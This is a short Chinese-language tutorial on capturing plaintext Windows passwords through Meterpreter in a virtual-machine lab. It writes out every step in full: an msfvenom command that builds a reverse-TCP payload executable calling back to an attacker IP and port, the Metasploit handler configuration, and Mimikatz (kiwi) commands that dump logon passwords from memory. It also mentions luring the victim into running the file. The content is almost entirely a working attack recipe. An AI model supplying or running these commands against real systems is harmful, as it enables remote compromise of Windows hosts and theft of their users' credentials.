meterpreter下抓取windows系统明文密码

虚拟机：kali | Win7

工具：msf

 1.生成工具

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.40.140 lport=55555 -f exe -o 233.exe

 这里需要注意的是IP地址以及端口。

 2.监听

启动msf，选择模块，配置信息，监听。

msf6 > use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp

set LHOST 192.168.40.140

set LPORT 55555

 

3.运行程序

（这里可以采用各种方法去诱导Win7的操作人员去点击，这里就不在赘述。这里在win7界面直接运行。）

 

4. 目的

meterpreter > load kiwi

meterpreter > kiwi_cmd privilege::debug

meterpreter > kiwi_cmd sekurlsa::logonPasswords